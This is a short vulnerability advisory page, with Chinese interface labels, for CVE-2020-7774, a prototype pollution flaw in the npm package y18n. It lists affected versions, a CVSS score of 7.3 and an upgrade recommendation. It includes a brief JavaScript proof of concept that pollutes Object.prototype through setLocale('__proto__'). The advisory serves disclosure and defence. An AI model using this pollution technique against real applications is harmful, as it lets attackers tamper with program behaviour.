CVE-2020-7774

HIGH7.3EPSS 0.47%

Prototype Pollution in y18n

發布日:2021/3/29修改日:2024/12/5
也稱為:GHSA-c4w7-xm78-47vhALPINE-CVE-2020-7774

描述

### Overview The npm package `y18n` before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to Prototype Pollution. ### POC ```js const y18n = require('y18n')(); y18n.setLocale('__proto__'); y18n.updateLocale({polluted: true}); console.log(polluted); // true ``` ### Recommendation Upgrade to version 3.2.2, 4.0.1, 5.0.5 or later.

受影響套件(3)

CVSS 分數

來源版本嚴重程度向量
osvCVSS 3.1HIGH7.3CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

參考連結(12)